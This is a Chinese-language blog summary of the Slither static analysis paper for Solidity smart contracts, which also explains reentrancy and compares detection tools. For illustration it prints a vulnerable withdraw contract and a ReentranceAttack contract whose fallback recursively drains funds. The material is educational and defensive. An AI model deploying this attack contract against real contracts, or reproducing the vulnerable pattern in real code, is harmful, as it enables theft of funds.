Slither: A Static Analysis Framework For Smart

Reanon發表於2020-10-28

Slither: A Static Analysis Framework For Smart

論文標題:Slither:智慧的靜態分析框架;

補充閱讀:Slither: The Leading Static Analyzer for Smart Contracts

工具開源:Slither, the Solidity source analyzer,也是以太坊官方推薦的另一款靜態智慧合約分析工具之一。

論文引用:Feist J, Grieco G, Groce A. Slither: a static analysis framework for smart contracts[C]//2019 IEEE/ACM 2nd International Workshop on Emerging Trends in Software Engineering for Blockchain (WETSEB). IEEE, 2019: 8-15.

一、主要內容

可重入攻擊介紹

可重入攻擊也就是攻擊方傳送一筆交易,導致合約一致重複執行直到將合約賬戶的資源消耗完。攻擊方能成功進行可重入攻擊,主要依賴於Soildity為智慧合約提供的fallback和call函式,下面先對這兩個函式的功能進行介紹。

Fallback 函式

以太坊的智慧合約,可以宣告一個匿名函式(unnamed function),叫做 Fallback 函式,這個函式不帶任何引數,也沒有返回值。當向這個合約傳送訊息時,如果沒有找到匹配的函式就會呼叫 fallback 函式。比如向合約轉賬,但要合約接收 Ether,那麼 fallback 函式必須宣告為 payable,否則試圖向此合約轉 ETH 將失敗。如下:

function() payable public { // payable 關鍵字,表明呼叫此函式,可向合約轉 Ether。
}

向合約傳送 send、transfer、call 訊息時候都會呼叫 fallback 函式,不同的是 send 和 transfer 有 2300 gas 的限制,也就是傳遞給 fallback 的只有 2300 gas,這個 gas 只能用於記錄日誌,因為其他操作都將超過 2300 gas。但 call 則會把剩餘的所有 gas 都給 fallback 函式,這有可能導致迴圈呼叫。

Call函式

call 可導致可重入攻擊,當向合約轉賬的時候,會呼叫 fallback 函式,帶有漏洞的合約程式碼如下:

  • withdraw函式的msg.sender.call.value可能成為惡意程式碼攻擊的地方。
  • 如果發起交易方也是智慧合約賬戶,當攻擊方的合約賬戶通過呼叫Reentrance合約的withdraw函式進行提現的時候,由於呼叫call函式,將會呼叫攻擊方合約的fallback函式;如果fallback程式碼再次呼叫Reentrance合約的withdraw函式就會形成程式碼可重入,將Reentrance合約賬戶的金額全部提走而在區塊的記錄僅僅提現了第一筆
contract Reentrance {
  mapping(address => uint) public balances;
    // 充值
  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }
  // 檢視餘額
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }
  // 提現
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) { //造成可重入攻擊的程式碼
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
  function() public payable {}
}

攻擊方的合約程式碼如下:

contract ReentranceAttack{
  Reentrance entrance;

  function ReentranceAttack(address _target) public payable {
    entrance = Reentrance(_target);
  }
  function deposit() public payable{
      entrance.donate.value(msg.value);
  }
  function attack() public{
    entrance.withdraw(0.5 ether);
    entrance.withdraw(0.5 ether);
  }
  function() public payable{
   //攻擊方將會遞迴進行提幣操作
    entrance.withdraw(0.5 ether);
  }
  function withdraw() public {
      msg.sender.transfer(this.balance);
  }
}

在這裡插入圖片描述

二、設計實現

基本功能

Slither是一個用Python 3編寫的智慧合約靜態分析框架,提供如下功能:

  • 自動化漏洞檢測(Automated vulnerability detection)。提供超30多項的漏洞檢查模型,模型列表詳見:https://github.com/crytic/slither#detectors。
  • 自動優化檢測(Automated optimization detection)。Slither可以檢測編譯器遺漏的程式碼優化項並給出優化建議。
  • 程式碼理解(Code understanding)。Slither能夠繪製合約的繼承拓撲圖,合約方法呼叫關係圖等,幫助開發者理解程式碼。
  • 輔助程式碼審查(Assisted code review)。使用者可以通過API與Slither進行互動。

工作方式

Slither的工作方式如下:

  1. Solidity compiler:智慧合約原始碼經過solc編譯後得到Solidity抽象語法樹(Solidity Abstract Syntax Tree,AST)作為Slither的輸入;可以指定Slither去呼叫一些常見的框架(包括Truffle,Embark和Dapp)去分析一份智慧合約。
  2. information recovery(資料整合):Slither會生成一些重要的資訊,比如合約的繼承圖(inheritance graph)、控制流圖(CFG)以及合約中函式列表。
  3. SlithIR conversion:Slither將合約程式碼轉換為SlithIR(一種內部表示語言),目的是通過簡單的API實現高精度分析,支援汙點和值的跟蹤,從而支援檢測複雜的模型。
  4. 在程式碼分析階段,Slither執行一組預定義的分析,包括合約中變數、函式的依賴關係;變數的讀寫和函式的許可權控制。
  5. 經過Slither的核心處理之後,就可以提供漏洞檢測、程式碼優化檢測和程式碼理解輸出等。

image-20201022200218960

三、實驗評估

本文的一個重要部分是將Slither與其他智慧合約靜態分析工具進行比較,我們將Slither(版本0.5.0)與其他開源靜態分析工具進行對比,以檢測以太坊智慧合約中的漏洞,對比的物件有:Securify(版本37e2984),SmartCheck(版本4d3367a)和Solhint(版本1.1.10)。我們決定以檢測可重入漏洞作為評估檢測好壞的標準,因為可重入漏洞是最古老,最易理解和最危險的安全問題之一。

它在第一個月籌集了超過1.5億美元的資金。2016年6月17日,黑客從該組織的“重入性”漏洞中抽走了5000萬美元。從以太經典(ETC)到以太幣(ETH)的硬叉導致瞭解決這次黑客攻擊所產生問題的所有努力。圖2顯示了一個簡單的可重入合約的經典示例,該合約可被人利用以抽取其所有以太幣。

img

可重入檢測器(The reentrancy detecto)是我們評估的所有工具中可用的少數幾個之一。此外,我們嘗試了Etherscan提供其原始碼的一千個最常用的合同(交易數量最大的那些合同),以獲得以下結果:

image-20201022210524839

四、總結

Slither自從被開發出來,技術迭代速度很快。截止到目前(2020.10.22),開發者最近釋出了Slither0.6.13版,對其做了一些技術改進並新增了一些功能。目前Slither已經擁有96多個開源探測器,包含兩個YUL特定檢測器,適用於競態條件、弱加密和其他關鍵漏洞的檢測。相比於其他用於出於科研目的、論文一經發表就不再維護而言的工具而言,Slither有更好健壯性。

相關文章